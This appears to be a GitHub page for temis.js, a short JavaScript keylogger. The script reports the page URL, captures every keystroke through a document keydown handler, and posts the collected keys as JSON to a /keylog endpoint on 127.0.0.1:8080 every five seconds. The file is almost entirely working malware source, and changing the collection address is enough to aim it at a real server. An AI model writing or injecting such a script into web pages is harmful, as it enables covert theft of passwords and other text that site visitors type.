-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathtemis.js
30 lines (27 loc) · 837 Bytes
/
temis.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var keys = '';
var current = document.URL;
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:8080/keylog", true);
xhr.setRequestHeader('Content-Type', 'application/json');
const json = {
"logged": current,
};
xhr.send(JSON.stringify(json));
document.onkeydown = function (e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function () {
if (keys != "") {
var xhr_key = new XMLHttpRequest();
xhr_key.open("POST", "http://127.0.0.1:8080/keylog", true);
xhr_key.setRequestHeader('Content-Type', 'application/json');
const json_key = {
"logged": keys,
};
xhr_key.send(JSON.stringify(json_key));
keys = "";
}
}, 5000);